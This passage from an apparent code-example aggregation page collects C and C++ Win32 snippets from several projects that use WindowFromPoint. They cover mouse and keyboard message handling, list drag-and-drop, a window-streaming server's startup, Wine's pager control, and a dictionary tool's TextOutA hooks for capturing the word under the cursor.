							}
						}
					}
					#endif
				}
				return 0;
			}

			case WM_LBUTTONDOWN:
				if ((win->fbv_InputMask & TITYPE_MOUSEBUTTON) &&
					fb_getimsg(mod, win, &imsg, TITYPE_MOUSEBUTTON))
				{
					imsg->timsg_Code = TMBCODE_LEFTDOWN;
					fb_sendimsg(mod, win, imsg);
				}
				return 0;
			case WM_LBUTTONUP:
				if ((win->fbv_InputMask & TITYPE_MOUSEBUTTON) &&
					fb_getimsg(mod, win, &imsg, TITYPE_MOUSEBUTTON))
				{
					imsg->timsg_Code = TMBCODE_LEFTUP;
					fb_sendimsg(mod, win, imsg);
				}
				return 0;
			case WM_RBUTTONDOWN:
				if ((win->fbv_InputMask & TITYPE_MOUSEBUTTON) &&
					fb_getimsg(mod, win, &imsg, TITYPE_MOUSEBUTTON))
				{
					imsg->timsg_Code = TMBCODE_RIGHTDOWN;
					fb_sendimsg(mod, win, imsg);
				}
				return 0;
			case WM_RBUTTONUP:
				if ((win->fbv_InputMask & TITYPE_MOUSEBUTTON) &&
					fb_getimsg(mod, win, &imsg, TITYPE_MOUSEBUTTON))
				{
					imsg->timsg_Code = TMBCODE_RIGHTUP;
					fb_sendimsg(mod, win, imsg);
				}
				return 0;
			case WM_MBUTTONDOWN:
				if ((win->fbv_InputMask & TITYPE_MOUSEBUTTON) &&
					fb_getimsg(mod, win, &imsg, TITYPE_MOUSEBUTTON))
				{
					imsg->timsg_Code = TMBCODE_MIDDLEDOWN;
					fb_sendimsg(mod, win, imsg);
				}
				return 0;
			case WM_MBUTTONUP:
				if ((win->fbv_InputMask & TITYPE_MOUSEBUTTON) &&
					fb_getimsg(mod, win, &imsg, TITYPE_MOUSEBUTTON))
				{
					imsg->timsg_Code = TMBCODE_MIDDLEUP;
					fb_sendimsg(mod, win, imsg);
				}
				return 0;

			case WM_SYSKEYDOWN:
				processkey(mod, win, TITYPE_KEYDOWN, 0);
				return 0;

			case WM_SYSKEYUP:
				processkey(mod, win, TITYPE_KEYUP, 0);
				return 0;

			case WM_KEYDOWN:
				processkey(mod, win, TITYPE_KEYDOWN, wParam);
				return 0;

			case WM_KEYUP:
				processkey(mod, win, TITYPE_KEYUP, wParam);
				return 0;

			case 0x020a:
				if (win->fbv_InputMask & TITYPE_MOUSEBUTTON)
				{
					TINT16 zdelta = (TINT16) HIWORD(wParam);
					if (zdelta != 0 &&
						fb_getimsg(mod, win, &imsg, TITYPE_MOUSEBUTTON))
					{
						imsg->timsg_Code = zdelta > 0 ?
							TMBCODE_WHEELUP : TMBCODE_WHEELDOWN;
						fb_sendimsg(mod, win, imsg);
					}
				}
				return 0;
		}
	}
	return DefWindowProc(hwnd, uMsg, wParam, lParam);
}
예제 #16
0
파일: Forces.cpp 프로젝트: mdejean/Chkdraft
LRESULT ForcesWindow::WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
	switch ( msg )
	{
		case WM_SHOWWINDOW:
			if ( wParam == TRUE )
			{
				RefreshWindow();
				chkd.mapSettingsWindow.SetTitle("Map Settings");
			}
			else
			{
				for ( int i=0; i<4; i++ )
					CheckReplaceForceName(i);
			}
			break;

		default:
			{
				if ( WM_DRAGNOTIFY != WM_NULL && msg == WM_DRAGNOTIFY )
				{
					DRAGLISTINFO* dragInfo = (DRAGLISTINFO*)lParam;
					switch ( dragInfo->uNotification )
					{
						case DL_BEGINDRAG:
							{
								int index = LBItemFromPt(dragInfo->hWnd, dragInfo->ptCursor, FALSE);
								LRESULT length = SendMessage(dragInfo->hWnd, LB_GETTEXTLEN, index, 0)+1;
								char* str;
								try { str = new char[length]; } catch ( std::bad_alloc ) { return FALSE; }
								length = SendMessage(dragInfo->hWnd, LB_GETTEXT, index, (LPARAM)str);
								if ( length != LB_ERR && length > 8 && str[7] >= '1' && str[7] <= '8' )
								{
									playerBeingDragged = str[7]-'1';
									for ( int id=LB_F1PLAYERS; id<=LB_F4PLAYERS; id++ )
									{
										HWND hForceLb = GetDlgItem(hWnd, id);
										if ( hForceLb != dragInfo->hWnd && hForceLb != NULL )
											SendMessage(GetDlgItem(hWnd, id), LB_SETCURSEL, -1, 0);
									}
									return TRUE;
								}
								else
									return FALSE;
							}
							break;

						case DL_CANCELDRAG:
							playerBeingDragged = 255;
							return ClassWindow::WndProc(hWnd, msg, wParam, lParam);
							break;

						case DL_DRAGGING:
							{
								HWND hUnder = WindowFromPoint(dragInfo->ptCursor);
								if ( hUnder != NULL )
								{
									LONG windowID = GetWindowLong(hUnder, GWL_ID);
									if ( windowID >= LB_F1PLAYERS && windowID <= LB_F4PLAYERS )
										return DL_MOVECURSOR;
								}
								return DL_STOPCURSOR;
							}
							break;

						case DL_DROPPED:
							{
								HWND hUnder = WindowFromPoint(dragInfo->ptCursor);
								if ( hUnder != NULL && playerBeingDragged < 8 )
								{
									LONG windowID = GetWindowLong(hUnder, GWL_ID);
									if ( windowID >= LB_F1PLAYERS && windowID <= LB_F4PLAYERS )
									{
										int force = windowID-LB_F1PLAYERS;
										GuiMapPtr map = chkd.maps.curr;
										if ( map != nullptr )
										{
											map->setPlayerForce(playerBeingDragged, force);
											RefreshWindow();
											std::stringstream ssPlayer;
											ssPlayer << "Player " << playerBeingDragged+1;
											SendMessage(GetDlgItem(hWnd, LB_F1PLAYERS+force), LB_SELECTSTRING, -1, (LPARAM)ssPlayer.str().c_str());
											map->notifyChange(false);
											chkd.trigEditorWindow.RefreshWindow();
											SetFocus(getHandle());
										}
									}
								}
								playerBeingDragged = 255;
								return ClassWindow::WndProc(hWnd, msg, wParam, lParam);
							}
							break;

						default:
							return ClassWindow::WndProc(hWnd, msg, wParam, lParam);
							break;
					}
				}
				else
					return ClassWindow::WndProc(hWnd, msg, wParam, lParam);
			}
			break;
	}
	return 0;
}
예제 #17
0
int main(int argc, char* argv[]) {
	if( argc < 2 ) {
		exit_usage(argv[0]);
	}

	int bit_rate = 0,
		fps = 60,
		port = 8080,
		width = 0,
		height = 0;

	// Parse command line options
	for( int i = 1; i < argc-1; i+=2 ) {
		if( strlen(argv[i]) < 2 || i >= argc-2 || argv[i][0] != '-' ) {
			exit_usage(argv[0]);
		}

		switch( argv[i][1] ) {
			case 'b': bit_rate = atoi(argv[i+1]) * 1000; break;
			case 'p': port = atoi(argv[i+1]); break;
			case 's': sscanf(argv[i+1], "%dx%d", &width, &height); break;
			case 'f': fps = atoi(argv[i+1]); break;
			default: exit_usage(argv[0]);
		}
	}

	// Find target window
	char *window_title = argv[argc-1];
	HWND window = NULL;
	if( strcmp(window_title, "desktop") == 0 ) {
		window = GetDesktopWindow();
	}
	else if( strcmp(window_title, "cursor") == 0 ) {
		POINT cursor;
		GetCursorPos(&cursor);
		window = WindowFromPoint(cursor);
	}
	else {
		window = window_with_prefix(window_title);
	}

	if( !window ) {
		printf("No window with title starting with \"%s\"\n", window_title);
		return 0;
	}

	// Start the app
	app_t *app = app_create(window, port, bit_rate, width, height);

	char real_window_title[56];
	GetWindowTextA(window, real_window_title, sizeof(real_window_title));
	printf(
		"Window 0x%08x: \"%s\"\n"
		"Window size: %dx%d, output size: %dx%d, bit rate: %d kb/s\n\n"
		"Server started on: http://%s:%d/\n\n",
		window, real_window_title,
		app->grabber->width, app->grabber->height,
		app->encoder->out_width, app->encoder->out_height,
		app->encoder->context->bit_rate / 1000,
		server_get_host_address(app->server), app->server->port
	);

	app_run(app, fps);

	app_destroy(app);	

	return 0;
}
예제 #18
0
/**
	@brief	

	@author	HumKyung.BAEK
*/
void CAssignLoadToBusDlg::OnMouseMove(UINT nFlags, CPoint point) 
{
	if (m_bDragging)
	{
		//// Move the drag image
		CPoint pt(point);	//get our current mouse coordinates
		ClientToScreen(&pt); //convert to screen coordinates
		m_pDragImage->DragMove(pt); //move the drag image to those coordinates
		// Unlock window updates (this allows the dragging image to be shown smoothly)
		m_pDragImage->DragShowNolock(false);

		//// Get the CWnd pointer of the window that is under the mouse cursor
		CWnd* pDropWnd = WindowFromPoint (pt);
		ASSERT(pDropWnd); //make sure we have a window

		//// If we drag outside current window we need to adjust the highlights displayed
		if (pDropWnd != m_pDropList)
		{
			if (m_nDropIndex != -1) //If we drag over the CListCtrl header, turn off the hover highlight
			{
				TRACE("m_nDropIndex is -1\n");
				CMFCListCtrl* pList = (CMFCListCtrl*)m_pDropList;
				//VERIFY (pList->SetItemState (m_nDropIndex, 0, LVIS_DROPHILITED));
				// redraw item
				//VERIFY (pList->RedrawItems (m_nDropIndex, m_nDropIndex));
				//pList->UpdateWindow ();
				m_nDropIndex = -1;
			}
			else //If we drag out of the CListCtrl altogether
			{
				TRACE("m_nDropIndex is not -1\n");
				//CListCtrl* pList = (CListCtrl*)m_pDropList;
				//int i = 0;
				//int nCount = pList->GetItemCount();
				//for(i = 0; i < nCount; i++)
				//{
				//	pList->SetItemState(i, 0, LVIS_DROPHILITED);
				//}
				//pList->RedrawItems(0, nCount);
				//pList->UpdateWindow();
			}
		}

		// Save current window pointer as the CListCtrl we are dropping onto
		m_pDropList = (CMFCTextColorListCtrl*)pDropWnd;

		// Convert from screen coordinates to drop target client coordinates
		pDropWnd->ScreenToClient(&pt);

		//If we are hovering over a CListCtrl we need to adjust the highlights
		if(pDropWnd->IsKindOf(RUNTIME_CLASS(CMFCListCtrl)) && (pDropWnd->GetSafeHwnd() == m_wndBusListCtrl.GetSafeHwnd()))
		{
			TRACE("m_nDropIndex is not 100\n");
			//Note that we can drop here
			SetCursor(LoadCursor(NULL, IDC_ARROW));
			UINT uFlags;
			CListCtrl* pList = (CListCtrl*)pDropWnd;

			// Turn off hilight for previous drop target
			pList->SetItemState (m_nDropIndex, 0, LVIS_DROPHILITED);
			// Redraw previous item
			pList->RedrawItems (m_nDropIndex, m_nDropIndex);

			// Get the item that is below cursor
			m_nDropIndex = ((CListCtrl*)pDropWnd)->HitTest(pt, &uFlags);
			if(-1 != m_nDropIndex)
			{
				// Highlight it
				pList->SetItemState(m_nDropIndex, LVIS_DROPHILITED, LVIS_DROPHILITED);
				// Redraw item
				pList->RedrawItems(m_nDropIndex, m_nDropIndex);
				pList->UpdateWindow();
			}else	SetCursor(LoadCursor(NULL, IDC_NO));
		}
		else if(pDropWnd->IsKindOf(RUNTIME_CLASS(CMFCListCtrl)) && (pDropWnd->GetSafeHwnd() == m_wndLoadListCtrl.GetSafeHwnd()))
		{
			TRACE("m_nDropIndex is not 100\n");
			//Note that we can drop here
			SetCursor(LoadCursor(NULL, IDC_ARROW));
			CListCtrl* pList = (CListCtrl*)pDropWnd;
			
			/*
			// Turn off hilight for previous drop target
			pList->SetItemState (m_nDropIndex, 0, LVIS_DROPHILITED);
			// Redraw previous item
			pList->RedrawItems (m_nDropIndex, m_nDropIndex);

			// Get the item that is below cursor
			m_nDropIndex = ((CListCtrl*)pDropWnd)->HitTest(pt, &uFlags);
			if(-1 != m_nDropIndex)
			{
				// Highlight it
				pList->SetItemState(m_nDropIndex, LVIS_DROPHILITED, LVIS_DROPHILITED);
				// Redraw item
				pList->RedrawItems(m_nDropIndex, m_nDropIndex);
				pList->UpdateWindow();
			}else	SetCursor(LoadCursor(NULL, IDC_NO));
			*/
		}
		else if(pDropWnd->IsKindOf(RUNTIME_CLASS(CMFCListCtrl)) && (pDropWnd->GetSafeHwnd() == m_wndNotAssignedLoadListCtrl.GetSafeHwnd()))
		{
			TRACE("m_nDropIndex is not 100\n");
			//Note that we can drop here
			SetCursor(LoadCursor(NULL, IDC_ARROW));
			CListCtrl* pList = (CListCtrl*)pDropWnd;

			/*
			// Turn off hilight for previous drop target
			pList->SetItemState (m_nDropIndex, 0, LVIS_DROPHILITED);
			// Redraw previous item
			pList->RedrawItems (m_nDropIndex, m_nDropIndex);

			// Get the item that is below cursor
			m_nDropIndex = ((CListCtrl*)pDropWnd)->HitTest(pt, &uFlags);
			if(-1 != m_nDropIndex)
			{
				// Highlight it
				pList->SetItemState(m_nDropIndex, LVIS_DROPHILITED, LVIS_DROPHILITED);
				// Redraw item
				pList->RedrawItems(m_nDropIndex, m_nDropIndex);
				pList->UpdateWindow();
			}else	SetCursor(LoadCursor(NULL, IDC_NO));
			*/
		}
		else
		{
			//If we are not hovering over a CListCtrl, change the cursor
			// to note that we cannot drop here
			SetCursor(LoadCursor(NULL, IDC_NO));
		}
		// Lock window updates
		m_pDragImage->DragShowNolock(true);
	}
		
	CDialog::OnMouseMove(nFlags, point);
}
예제 #19
0
//DLL 输出函数
//取词初始化(每次取词都需要设置)
DLLEXPORT DWORD WINAPI BL_SetFlag32(UINT nFlag, HWND hNotifyWnd,
                                    int MouseX, int MouseY)
{
    POINT ptWindow;
    HWND hWnd;
    //char classname[256];
    DWORD dwCurrProcessId = 0;
    DWORD dwProcessIdOfWnd = 0;

    /*
    	{
    		char cBuffer[0x100];
    		wsprintf(cBuffer, "%s\n", "BL_SetFlag32");
    		OutputDebugString(cBuffer);
    	}
    */
    g_nFlag = nFlag;
    g_hNotifyWnd = hNotifyWnd;
    g_MouseX = MouseX;
    g_MouseY = MouseY;

    ptWindow.x = MouseX;
    ptWindow.y = MouseY;
    //获得包含指定点的窗口的句柄,这个也是后面需要Hook的窗口进程
    hWnd = WindowFromPoint(ptWindow);

    g_hWndParent = hWnd;

    switch (nFlag)
    {
//		case GETWORD_ENABLE:
    case GETWORD_D_ENABLE:
    case GETWORD_TW_ENABLE:
    case GETPHRASE_ENABLE:	//启用取词

        g_bNewGetWordFlag = TRUE;

        BL_SetGetWordStyle(GETPHRASE_ENABLE);

        dwCurrProcessId = GetCurrentProcessId();	//当前进程ID
        //获得当前取词目标进程ID
        GetWindowThreadProcessId(g_hWndParent, &dwProcessIdOfWnd);

        if(dwProcessIdOfWnd == dwCurrProcessId)	//如果当前Hook的进程和目标窗口进程一致,则开始处理
        {
            ProcessWin32API();	//手动执行Hook函数,处理取词
        }
        else
        {
            SendMessage(g_hWndParent, g_uMsg, 0, 0);	//连着发送一个
            PostMessage(g_hWndParent, g_uMsg, 0, 0);
        }

        break;

    case GETWORD_D_TYPING_ENABLE:

        g_bNewGetWordFlag = TRUE;

        BL_SetGetWordStyle(GETPHRASE_DISABLE);

        PostMessage(g_hWndParent, g_uMsg, 0, 0);

        break;

    case GETWORD_DISABLE:
    case GETPHRASE_DISABLE:

        g_bNewGetWordFlag = FALSE;

        dwCurrProcessId = GetCurrentProcessId();
        GetWindowThreadProcessId(g_hWndParent, &dwProcessIdOfWnd);

        if(dwProcessIdOfWnd == dwCurrProcessId)
        {
            ProcessWin32API();
        }
        else
        {
            SendMessage(g_hWndParent, g_uMsg, 0, 0);
            PostMessage(g_hWndParent, g_uMsg, 0, 0);
        }

        break;

    case GETWORD_D_TYPING_DISABLE:

        g_bNewGetWordFlag = FALSE;

        PostMessage(g_hWndParent, g_uMsg, 0, 0);

        break;

    default:
        break;
    }

    // Fix bug2 end

    return BL_OK;
}
예제 #20
0
파일: pager.c 프로젝트: pstrealer/wine
static LRESULT
PAGER_MouseMove (PAGER_INFO* infoPtr, INT keys, INT x, INT y)
{
    POINT clpt, pt;
    RECT wnrect, *btnrect = NULL;
    BOOL topLeft = FALSE;
    INT btnstate = 0;
    INT hit;
    HDC hdc;

    pt.x = x;
    pt.y = y;

    TRACE("[%p] to (%d,%d)\n", infoPtr->hwndSelf, x, y);
    ClientToScreen(infoPtr->hwndSelf, &pt);
    GetWindowRect(infoPtr->hwndSelf, &wnrect);
    if (PtInRect(&wnrect, pt)) {
        RECT TLbtnrect, BRbtnrect;
        PAGER_GetButtonRects(infoPtr, &TLbtnrect, &BRbtnrect, FALSE);

	clpt = pt;
	MapWindowPoints(0, infoPtr->hwndSelf, &clpt, 1);
	hit = PAGER_HitTest(infoPtr, &clpt);
	if ((hit == PGB_TOPORLEFT) && (infoPtr->TLbtnState == PGF_NORMAL))
	{
	    topLeft = TRUE;
	    btnrect = &TLbtnrect;
	    infoPtr->TLbtnState = PGF_HOT;
	    btnstate = infoPtr->TLbtnState;
	}
	else if ((hit == PGB_BOTTOMORRIGHT) && (infoPtr->BRbtnState == PGF_NORMAL))
	{
	    topLeft = FALSE;
	    btnrect = &BRbtnrect;
	    infoPtr->BRbtnState = PGF_HOT;
	    btnstate = infoPtr->BRbtnState;
	}

	/* If in one of the buttons the capture and draw buttons */
	if (btnrect)
	{
            TRACE("[%p] draw btn (%s), Capture %s, style %08x\n",
                  infoPtr->hwndSelf, wine_dbgstr_rect(btnrect),
		  (infoPtr->bCapture) ? "TRUE" : "FALSE",
		  infoPtr->dwStyle);
	    if (!infoPtr->bCapture)
	    {
	        TRACE("[%p] SetCapture\n", infoPtr->hwndSelf);
	        SetCapture(infoPtr->hwndSelf);
	        infoPtr->bCapture = TRUE;
	    }
	    if (infoPtr->dwStyle & PGS_AUTOSCROLL)
		SetTimer(infoPtr->hwndSelf, TIMERID1, 0x3e, 0);
	    hdc = GetWindowDC(infoPtr->hwndSelf);
	    /* OffsetRect(wnrect, 0 | 1, 0 | 1) */
	    PAGER_DrawButton(hdc, infoPtr->clrBk, *btnrect,
			     infoPtr->dwStyle & PGS_HORZ, topLeft, btnstate);
	    ReleaseDC(infoPtr->hwndSelf, hdc);
	    return 0;
	}
    }

    /* If we think we are captured, then do release */
    if (infoPtr->bCapture && (WindowFromPoint(pt) != infoPtr->hwndSelf))
    {
    	NMHDR nmhdr;

        infoPtr->bCapture = FALSE;

        if (GetCapture() == infoPtr->hwndSelf)
        {
            ReleaseCapture();

            if (infoPtr->TLbtnState == PGF_GRAYED)
            {
                infoPtr->TLbtnState = PGF_INVISIBLE;
                SetWindowPos(infoPtr->hwndSelf, 0, 0, 0, 0, 0,
                             SWP_FRAMECHANGED | SWP_NOSIZE | SWP_NOMOVE |
                             SWP_NOZORDER | SWP_NOACTIVATE);
            }
            else if (infoPtr->TLbtnState == PGF_HOT)
            {
        	infoPtr->TLbtnState = PGF_NORMAL;
        	/* FIXME: just invalidate button rect */
                RedrawWindow(infoPtr->hwndSelf, NULL, NULL, RDW_FRAME | RDW_INVALIDATE);
            }

            if (infoPtr->BRbtnState == PGF_GRAYED)
            {
                infoPtr->BRbtnState = PGF_INVISIBLE;
                SetWindowPos(infoPtr->hwndSelf, 0, 0, 0, 0, 0,
                             SWP_FRAMECHANGED | SWP_NOSIZE | SWP_NOMOVE |
                             SWP_NOZORDER | SWP_NOACTIVATE);
            }
            else if (infoPtr->BRbtnState == PGF_HOT)
            {
        	infoPtr->BRbtnState = PGF_NORMAL;
        	/* FIXME: just invalidate button rect */
                RedrawWindow(infoPtr->hwndSelf, NULL, NULL, RDW_FRAME | RDW_INVALIDATE);
            }

            /* Notify parent of released mouse capture */
        	memset(&nmhdr, 0, sizeof(NMHDR));
        	nmhdr.hwndFrom = infoPtr->hwndSelf;
        	nmhdr.idFrom   = GetWindowLongPtrW(infoPtr->hwndSelf, GWLP_ID);
        	nmhdr.code = NM_RELEASEDCAPTURE;
		SendMessageW(infoPtr->hwndNotify, WM_NOTIFY, nmhdr.idFrom, (LPARAM)&nmhdr);
        }
        if (IsWindow(infoPtr->hwndSelf))
            KillTimer(infoPtr->hwndSelf, TIMERID1);
    }
    return 0;
}
예제 #21
0
//Hook TextOutA的过程
DLLEXPORT BOOL WINAPI NHTextOutA(HDC hdc,
                                 int nXStart,
                                 int nYStart,
                                 LPCTSTR lpString,
                                 int cbString)
{
    POINT pt;
    HWND  hWDC;
    HWND  hWPT;
    DWORD dwThreadIdWithPoint = 0;
    DWORD dwThreadIdCurr = 0;

    /*
    	{
    		char cBuffer[0x100];
    		wsprintf(cBuffer, "-> NHTextOutA : %s\n", "start");
    		OutputDebugString(cBuffer);
    	}
    */

    //DbgFilePrintf("-> NHTextOutA : lpString(%s), cbString(%d)\n", lpString, cbString);

    // restore
    RestoreWin32Api(&g_TextOutAHook, HOOK_NEED_CHECK);

    //
    pt.x = g_CurMousePos.x;
    pt.y = g_CurMousePos.y;
    hWDC = WindowFromDC(hdc);	//Xianfeng:对方所在窗体句柄
    hWPT = WindowFromPoint(pt);	//Xianfeng:鼠标所在窗体句柄

    dwThreadIdWithPoint = GetWindowThreadProcessId(hWPT, NULL);	//Xianfeng:取得鼠标所在窗体线程ID
    dwThreadIdCurr = GetCurrentThreadId();		//Xianfeng:取得当前线程ID

    if(dwThreadIdWithPoint == dwThreadIdCurr)
    {
        if (hWDC == NULL
                || hWPT == hWDC
                || IsParentOrSelf(hWPT, hWDC)
                || IsParentOrSelf(hWDC, hWPT))
        {
            if ((g_bAllowGetCurWord)
                    && (!IsBadReadPtr(lpString, cbString))
                    && (cbString > 0))
            {
                g_nTextAlign = GetTextAlign(hdc);			//Xianfeng:取得当前DC的文本对齐方式,在后面计算矩形用
                g_nExtra     = GetTextCharacterExtra(hdc);	//Xianfeng:取得字符间空隙,单位估计是像素
                GetCurrentPositionEx(hdc, &g_CurPos);		//Xianfeng:取得当前DC的逻辑位置
                GetTextMetrics(hdc, &g_tm);					//Xianfeng:取得当前DC的font的基本信息

                g_dwDCOrg.x = 0;
                g_dwDCOrg.y = 0;
                bRecAllRect = FALSE;
                GetStringRect(hdc, (LPSTR)lpString, cbString, nXStart,
                              nYStart, &g_rcTotalRect, NULL);
                bRecAllRect = TRUE;

                if ((WindowFromDC != NULL)&&(WindowFromDC(hdc) == NULL))
                {
                    g_dwDCOrg.x = 0;
                    g_dwDCOrg.y = 0;

                    //Xianfeng:保存输出字符信息到内存
                    AddToTextOutBuffer(hdc, (LPSTR)lpString, cbString,
                                       nXStart, nYStart, NULL);
                }
                else
                {
                    //Xianfeng:取回DC原点,通常的值是客户区左上角相对于窗体左上角的偏移量
                    GetDCOrgEx(hdc, &g_dwDCOrg);

                    //Xianfeng:获取当前鼠标下的字
                    GetCurMousePosWord(hdc, (LPSTR)lpString, cbString,
                                       nXStart, nYStart, NULL);
                }
            }
        }
    }

    // call TextOutA
    TextOutA(hdc, nXStart, nYStart, lpString, cbString);

    HookWin32Api(&g_TextOutAHook, HOOK_NEED_CHECK);

    return TRUE;
}
예제 #22
0
LRESULT OverlayWindow::onLeftButtonUp(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
	POINT p;
	GetCursorPos(&p);
	if (((MainWindow *)_parent)->getCaptureMode() == 1) {
		ShowWindow(_handle, SW_HIDE);
		_selectedWindow = WindowFromPoint(p);
		ShowWindow(_handle, SW_SHOW);
		_selectedWindow = GetAncestor(_selectedWindow, GA_ROOT);
		if (_selectedWindow != NULL) {
			HRGN overlayrgn = CreateRectRgn(0,0,0,0);
			HRGN combine = CreateRectRgn(0,0,0,0);
			int n = GetWindowRgn(_handle, overlayrgn);
			HRGN hrgn = CreateRectRgn(0,0,0,0);
			int regionType = GetWindowRgn(_selectedWindow, hrgn);
			RECT r1, r2;
			GetWindowRect(_handle, &r1);
			GetWindowRect(_selectedWindow, &r2);
			if (regionType == 0) {
				hrgn = CreateRectRgn(r2.left, r2.top,r2.right,r2.bottom);
			} else {
				OffsetRgn(hrgn, r2.left - r1.left, r2.top - r1.top);
			}
			CombineRgn(combine, overlayrgn, hrgn, RGN_DIFF);
			SetWindowRgn(_handle, combine, TRUE);
			_selection->move(r2.left, r2.top, r2.right - r2.left, r2.bottom - r2.top);
			regionType = GetWindowRgn(_selectedWindow, hrgn);
			if (regionType == 0) {
				hrgn = CreateRectRgn(0, 0, r2.right - r2.left, r2.bottom - r2.top);
			}
			SetWindowRgn(_selection->getHandle(), hrgn, TRUE);
			_selection->show(SW_SHOW);
		}
	} else {
		int x, y, width, height;
		RECT r = getRect();
		HRGN overlayRgn = CreateRectRgn(0, 0, r.right, r.bottom);
		width = p.x - _firstPoint.x;
		height = p.y - _firstPoint.y;
		if (width < 0) {
			width = -width;
			x = p.x;
		} else {
			x = _firstPoint.x;
		}
		if (height < 0) {
			height = -height;
			y = p.y;
		} else {
			y = _firstPoint.y;
		}
		HRGN rgn = CreateRectRgn(0, 0, width, height);
		SetWindowRgn(_selection->getHandle(), rgn, TRUE);
		rgn = CreateRectRgn(0, 0, width, height);
		OffsetRgn(rgn, x, y);
		CombineRgn(overlayRgn, overlayRgn, rgn, RGN_DIFF);
		SetWindowRgn(_handle, overlayRgn, FALSE);
		_selection->move(x, y, width, height, false);
		_selection->show(SW_SHOW);
		_isSelecting = false;
	}
	
	return 0;
}
예제 #23
0
//Hook TextOutA的过程
DLLEXPORT BOOL WINAPI NHExtTextOutA(HDC hdc,
                                    int X,	//当前需要绘制的文本的起始位置
                                    int Y,
                                    UINT fuOptions,
                                    CONST RECT *lprc,
                                    LPCTSTR lpString,
                                    UINT cbCount,
                                    CONST INT *lpDx)
{
    POINT pt;
    HWND  hWDC;
    HWND  hWPT;
    DWORD dwThreadIdWithPoint = 0;
    DWORD dwThreadIdCurr = 0;

    // restore
    RestoreWin32Api(&g_ExtTextOutAHook, HOOK_NEED_CHECK);
    /*
    	if (cbCount != 0)
    	{
    		char cBuffer[0x100];
    		wsprintf(cBuffer, "-> NHExtTextOutA : %s (%s) (%d)\n", "start", lpString, cbCount);
    		OutputDebugString(cBuffer);
    	}
    */
    //DbgFilePrintf("-> NHExtTextOutA : lpString(%s), cbCount(%d)\n", lpString, cbCount);

    pt.x = g_CurMousePos.x;
    pt.y = g_CurMousePos.y;
    hWDC = WindowFromDC(hdc);
    hWPT = WindowFromPoint(pt);

    dwThreadIdWithPoint = GetWindowThreadProcessId(hWPT, NULL);
    dwThreadIdCurr = GetCurrentThreadId();

    if(dwThreadIdWithPoint == dwThreadIdCurr)
    {
        if (hWDC == NULL || hWPT == hWDC
                || IsParentOrSelf(hWPT, hWDC)
                || IsParentOrSelf(hWDC, hWPT))
        {
            if ((g_bAllowGetCurWord) && (!IsBadReadPtr(lpString, cbCount))
                    && (cbCount > 0))
            {
                g_nTextAlign = GetTextAlign(hdc);
                g_nExtra     = GetTextCharacterExtra(hdc);
                GetCurrentPositionEx(hdc, &g_CurPos);
                GetTextMetrics(hdc, &g_tm);
                g_dwDCOrg.x = 0;
                g_dwDCOrg.y = 0;
                bRecAllRect = FALSE;
                //findword.c中的代码,取出当前字符的矩形范围
                GetStringRect(hdc, (LPSTR)lpString, cbCount, X, Y,
                              &g_rcTotalRect, lpDx);
                bRecAllRect = TRUE;

                if ((WindowFromDC != NULL)&&(WindowFromDC(hdc) == NULL))
                {
                    g_dwDCOrg.x = 0;
                    g_dwDCOrg.y = 0;

                    AddToTextOutBuffer(hdc, (LPSTR)lpString, cbCount,
                                       X, Y, lpDx);
                }
                else
                {
                    GetDCOrgEx(hdc, &g_dwDCOrg);

                    //findword.c中的代码,取出当前位置下的单词
                    GetCurMousePosWord(hdc, (LPSTR)lpString, cbCount,
                                       X, Y, lpDx);
                }
            }
        }
    }
    // call ExtTextOutA
    ExtTextOutA(hdc, X, Y, fuOptions, lprc, lpString, cbCount, lpDx);

    HookWin32Api(&g_ExtTextOutAHook, HOOK_NEED_CHECK);

    return TRUE;
}
예제 #24
0
void CMainDlg::GetAdvancedInfo() {

  typedef struct { LONG ID; const wchar_t* t; } StyleMap;
  static StyleMap style_map[] = {
    // { WS_OVERLAPPED, L"WS_OVERLAPPED" },
    { WS_POPUP, L"WS_POPUP" },
    { WS_CHILD, L"WS_CHILD" },
    { WS_MINIMIZE, L"WS_MINIMIZE" },
    { WS_VISIBLE, L"WS_VISIBLE" },
    { WS_DISABLED, L"WS_DISABLED" },
    { WS_CLIPSIBLINGS, L"WS_CLIPSIBLINGS" },
    { WS_CLIPCHILDREN, L"WS_CLIPCHILDREN" },
    { WS_MAXIMIZE, L"WS_MAXIMIZE" },
    { WS_CAPTION, L"WS_CAPTION" },
    { WS_BORDER, L"WS_BORDER" },
    { WS_DLGFRAME, L"WS_DLGFRAME" },
    { WS_VSCROLL, L"WS_VSCROLL" },
    { WS_HSCROLL, L"WS_HSCROLL" },
    { WS_SYSMENU, L"WS_SYSMENU" },
    { WS_THICKFRAME, L"WS_THICKFRAME" },
    { WS_GROUP, L"WS_GROUP" },
    { WS_TABSTOP, L"WS_TABSTOP" },
    { WS_MINIMIZEBOX, L"WS_MINIMIZEBOX" },
    { WS_MAXIMIZEBOX, L"WS_MAXIMIZEBOX" },
    { WS_TILED, L"WS_TILED" },
    { WS_ICONIC, L"WS_ICONIC" },
    { WS_SIZEBOX, L"WS_SIZEBOX" },
    { WS_TILEDWINDOW, L"WS_TILEDWINDOW" },
  };

  static StyleMap exstyle_map[] = {
    // exstyle
    { WS_EX_DLGMODALFRAME, L"WS_EX_DLGMODALFRAME" },
    { WS_EX_NOPARENTNOTIFY, L"WS_EX_NOPARENTNOTIFY" },
    { WS_EX_TOPMOST, L"WS_EX_TOPMOST" },
    { WS_EX_ACCEPTFILES, L"WS_EX_ACCEPTFILES" },
    { WS_EX_TRANSPARENT, L"WS_EX_TRANSPARENT" },

#if (WINVER >= 0x0400)
    { WS_EX_MDICHILD, L"WS_EX_MDICHILD" },
    { WS_EX_TOOLWINDOW, L"WS_EX_TOOLWINDOW" },
    { WS_EX_WINDOWEDGE, L"WS_EX_WINDOWEDGE" },
    { WS_EX_CLIENTEDGE, L"WS_EX_CLIENTEDGE" },
    { WS_EX_CONTEXTHELP, L"WS_EX_CONTEXTHELP" },
#endif

#if(WINVER >= 0x0400)
    { WS_EX_RIGHT, L"WS_EX_RIGHT" },
    { WS_EX_LEFT, L"WS_EX_LEFT" },
    { WS_EX_RTLREADING, L"WS_EX_RTLREADING" },
    { WS_EX_LTRREADING, L"WS_EX_LTRREADING" },
    { WS_EX_LEFTSCROLLBAR, L"WS_EX_LEFTSCROLLBAR" },
    { WS_EX_RIGHTSCROLLBAR, L"WS_EX_RIGHTSCROLLBAR" },
    { WS_EX_CONTROLPARENT, L"WS_EX_CONTROLPARENT" },
    { WS_EX_STATICEDGE, L"WS_EX_STATICEDGE" },
